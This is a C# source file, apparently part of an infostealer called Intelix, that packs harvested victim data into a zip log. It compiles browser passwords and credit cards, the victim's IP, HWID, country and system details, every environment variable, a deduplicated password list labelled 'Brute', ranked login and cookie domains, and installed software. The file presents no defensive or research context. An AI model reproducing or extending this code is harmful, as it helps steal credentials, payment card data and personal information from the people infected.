using System;
using System.Collections;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;

namespace Intelix.Helper.Data;

public class ConsolidatedFilesGenerator
{
	public static void GenerateConsolidatedFiles(InMemoryZip zip, Counter counter, string publicIp, string countryCode, string hwid)
	{
		GeneratePasswordsFile(zip);
		GenerateCreditCardsFile(zip);
		GenerateUserInformationFile(zip, publicIp, countryCode, hwid);
		GenerateEnvironmentFile(zip);
		GenerateBruteFile(zip);
		GenerateDomainDetectsFile(zip);
		GenerateInstalledSoftwareFile(zip);
	}

	private static void GeneratePasswordsFile(InMemoryZip zip)
	{
		List<string> allPasswords = new List<string>();
		
		foreach (var entry in zip.GetAllEntries())
		{
			if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
			{
				try
				{
					string content = Encoding.UTF8.GetString(entry.Value);
					string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
					
					string fileName = Path.GetFileName(entry.Key);
					bool hasData = false;
					
					for (int i = 0; i < lines.Length; i++)
					{
						string line = lines[i];
						if (line.StartsWith("URL:") || line.StartsWith("Hostname:"))
						{
							allPasswords.Add(line);
							hasData = true;
						}
						else if (line.StartsWith("Username:") || line.StartsWith("Password:"))
						{
							allPasswords.Add(line);
						}
						else if (string.IsNullOrWhiteSpace(line) && hasData && i < lines.Length - 1 && !string.IsNullOrWhiteSpace(lines[i + 1]))
						{
							allPasswords.Add("Application: Browser/Logins/" + fileName);
							allPasswords.Add("===============");
							hasData = false;
						}
					}
					
					if (hasData)
					{
						allPasswords.Add("Application: Browser/Logins/" + fileName);
						allPasswords.Add("===============");
					}
				}
				catch
				{
				}
			}
		}
		
		if (allPasswords.Count > 0)
		{
			zip.AddTextFile("Passwords.txt", string.Join("\n", allPasswords));
		}
	}

	private static void GenerateCreditCardsFile(InMemoryZip zip)
	{
		ConcurrentBag<string> allCreditCards = new ConcurrentBag<string>();
		
		foreach (var entry in zip.GetAllEntries())
		{
			if ((entry.Key.Contains("Browser/Credits/") || entry.Key.Contains("CreditCards/")) && entry.Key.EndsWith(".txt"))
			{
				try
				{
					string content = Encoding.UTF8.GetString(entry.Value);
					if (!string.IsNullOrWhiteSpace(content))
					{
						allCreditCards.Add(content);
					}
				}
				catch
				{
				}
			}
		}
		
		if (allCreditCards.Count > 0)
		{
			zip.AddTextFile("CreditCards.txt", string.Join("\n\n", allCreditCards));
		}
	}

	private static void GenerateUserInformationFile(InMemoryZip zip, string publicIp, string countryCode, string hwid)
	{
		StringBuilder sb = new StringBuilder();
		DateTime now = DateTime.Now;
		
		sb.AppendLine($"Log date: {now:dd MMM yy HH:mm} MSK");
		sb.AppendLine("Traffic: src");
		sb.AppendLine($"HWID: {hwid}");
		sb.AppendLine($"Country: {countryCode}");
		sb.AppendLine($"IP: {publicIp}");
		
		foreach (var entry in zip.GetAllEntries())
		{
			if (entry.Key.Contains("Information.txt"))
			{
				try
				{
					string content = Encoding.UTF8.GetString(entry.Value);
					string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
					
					foreach (string line in lines)
					{
						if (line.Contains("System Language:") || line.Contains("Processor:") || 
						    line.Contains("Installed RAM:") || line.Contains("OS Product:") ||
						    line.Contains("OS Build:") || line.Contains("OS Arch:") ||
						    line.Contains("CPU Name:") || line.Contains("Logical Cores:") ||
						    line.Contains("RAM Total:") || line.Contains("RAM Available:") ||
						    line.Contains("GPU:") || line.Contains("Computer Name:") ||
						    line.Contains("Domain Name:") || line.Contains("MachineID:") ||
						    line.Contains("Product Key:") || line.Contains("User:") ||
						    line.Contains("Machine:") || line.Contains("Now:") ||
						    line.Contains("Input ISO:") || line.Contains("Hwid:") ||
						    line.Contains("Clipboard:") || line.Contains("External IP:") ||
						    line.Contains("Internal IP:") || line.Contains("Default Gateway:") ||
						    line.Contains("User Domain:") || line.Contains("CLR Version:"))
						{
							string processedLine = line;
							if (line.Contains("OS Product:"))
							{
								processedLine = "Operation System: " + line.Substring(line.IndexOf("OS Product:") + 11).Trim();
							}
							else if (line.Contains("OS Build:"))
							{
								processedLine = "Operation System: " + processedLine;
							}
							else if (line.Contains("CPU Name:"))
							{
								processedLine = "Processor: " + line.Substring(line.IndexOf("CPU Name:") + 9).Trim();
							}
							else if (line.Contains("Installed RAM:"))
							{
								processedLine = line.Replace("RAM Total (MB):", "Installed RAM:");
							}
							else if (line.Contains("User:"))
							{
								processedLine = "User Name: " + line.Substring(line.IndexOf("User:") + 5).Trim();
							}
							else if (line.Contains("Machine:"))
							{
								processedLine = "Computer Name: " + line.Substring(line.IndexOf("Machine:") + 8).Trim();
							}
							else if (line.Contains("External IP:"))
							{
								continue;
							}
							
							sb.AppendLine(processedLine);
						}
					}
				}
				catch
				{
				}
				break;
			}
		}
		
		sb.AppendLine("-------------");
		
		zip.AddTextFile("UserInformation.txt", sb.ToString());
	}

	private static void GenerateEnvironmentFile(InMemoryZip zip)
	{
		StringBuilder sb = new StringBuilder();
		
		foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables())
		{
			sb.AppendLine($"{entry.Key}={entry.Value}");
		}
		
		zip.AddTextFile("Environment.txt", sb.ToString());
	}

	private static void GenerateBruteFile(InMemoryZip zip)
	{
		ConcurrentBag<string> passwords = new ConcurrentBag<string>();
		HashSet<string> uniquePasswords = new HashSet<string>();
		
		foreach (var entry in zip.GetAllEntries())
		{
			if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
			{
				try
				{
					string content = Encoding.UTF8.GetString(entry.Value);
					MatchCollection matches = Regex.Matches(content, @"Password:\s*(.+)", RegexOptions.Multiline);
					
					foreach (Match match in matches)
					{
						string password = match.Groups[1].Value.Trim();
						if (!string.IsNullOrEmpty(password) && uniquePasswords.Add(password))
						{
							passwords.Add(password);
						}
					}
				}
				catch
				{
				}
			}
		}
		
		if (passwords.Count > 0)
		{
			zip.AddTextFile("Brute.txt", string.Join("\n", passwords));
		}
	}

	private static void GenerateDomainDetectsFile(InMemoryZip zip)
	{
		Dictionary<string, int> loginDomains = new Dictionary<string, int>();
		Dictionary<string, int> cookieDomains = new Dictionary<string, int>();
		
		foreach (var entry in zip.GetAllEntries())
		{
			if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
			{
				try
				{
					string content = Encoding.UTF8.GetString(entry.Value);
					MatchCollection matches = Regex.Matches(content, @"(?:URL:|Hostname:)\s*(?:https?://)?(?:www\.)?([^/\s]+)", RegexOptions.IgnoreCase);
					
					foreach (Match match in matches)
					{
						string domain = match.Groups[1].Value.Trim().ToLower();
						if (!string.IsNullOrEmpty(domain))
						{
							if (!loginDomains.ContainsKey(domain))
							{
								loginDomains[domain] = 0;
							}
							loginDomains[domain]++;
						}
					}
				}
				catch
				{
				}
			}
			else if (entry.Key.Contains("Browser/Cookies/") && entry.Key.EndsWith(".txt"))
			{
				try
				{
					string content = Encoding.UTF8.GetString(entry.Value);
					MatchCollection matches = Regex.Matches(content, @"(?:\.)?([a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]?\.[a-zA-Z]{2,})", RegexOptions.IgnoreCase);
					
					foreach (Match match in matches)
					{
						string domain = match.Groups[1].Value.Trim().ToLower();
						if (!string.IsNullOrEmpty(domain))
						{
							if (!cookieDomains.ContainsKey(domain))
							{
								cookieDomains[domain] = 0;
							}
							cookieDomains[domain]++;
						}
					}
				}
				catch
				{
				}
			}
		}
		
		StringBuilder sb = new StringBuilder();
		if (loginDomains.Count > 0)
		{
			sb.AppendLine("LoginData:");
			int index = 1;
			foreach (var domain in loginDomains.OrderByDescending(d => d.Value))
			{
				sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
				index++;
			}
		}
		
		if (cookieDomains.Count > 0)
		{
			sb.AppendLine("Cookies:");
			int index = 1;
			foreach (var domain in cookieDomains.OrderByDescending(d => d.Value))
			{
				sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
				index++;
			}
		}
		
		if (sb.Length > 0)
		{
			zip.AddTextFile("DomainDetects.txt", sb.ToString());
		}
	}

	private static string GetDomainName(string domain)
	{
		string[] parts = domain.Split('.');
		if (parts.Length >= 2)
		{
			return parts[parts.Length - 2];
		}
		return domain;
	}

	private static void GenerateInstalledSoftwareFile(InMemoryZip zip)
	{
		foreach (var entry in zip.GetAllEntries())
		{
			if (entry.Key.Contains("InstalledSoftware.txt"))
			{
				try
				{
					string content = Encoding.UTF8.GetString(entry.Value);
					string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
					
					List<string> formattedLines = new List<string>();
					int index = 1;
					
					foreach (string line in lines)
					{
						if (line.Contains(" | ") && !line.StartsWith("Name") && !line.Contains("---"))
						{
							string[] parts = line.Split(new[] { " | " }, StringSplitOptions.None);
							if (parts.Length >= 3)
							{
								string name = parts[0].Trim();
								string path = parts[1].Trim();
								string version = parts[2].Trim();
								
								string publisher = "Unknown";
								if (parts.Length > 3)
								{
									publisher = parts[3].Trim();
								}
								
								formattedLines.Add($"{index}) {name} [{version}] - {publisher}");
								index++;
							}
						}
					}
					
					if (formattedLines.Count > 0)
					{
						zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", formattedLines));
					}
				}
				catch
				{
				}
				break;
			}
		}
	}
}

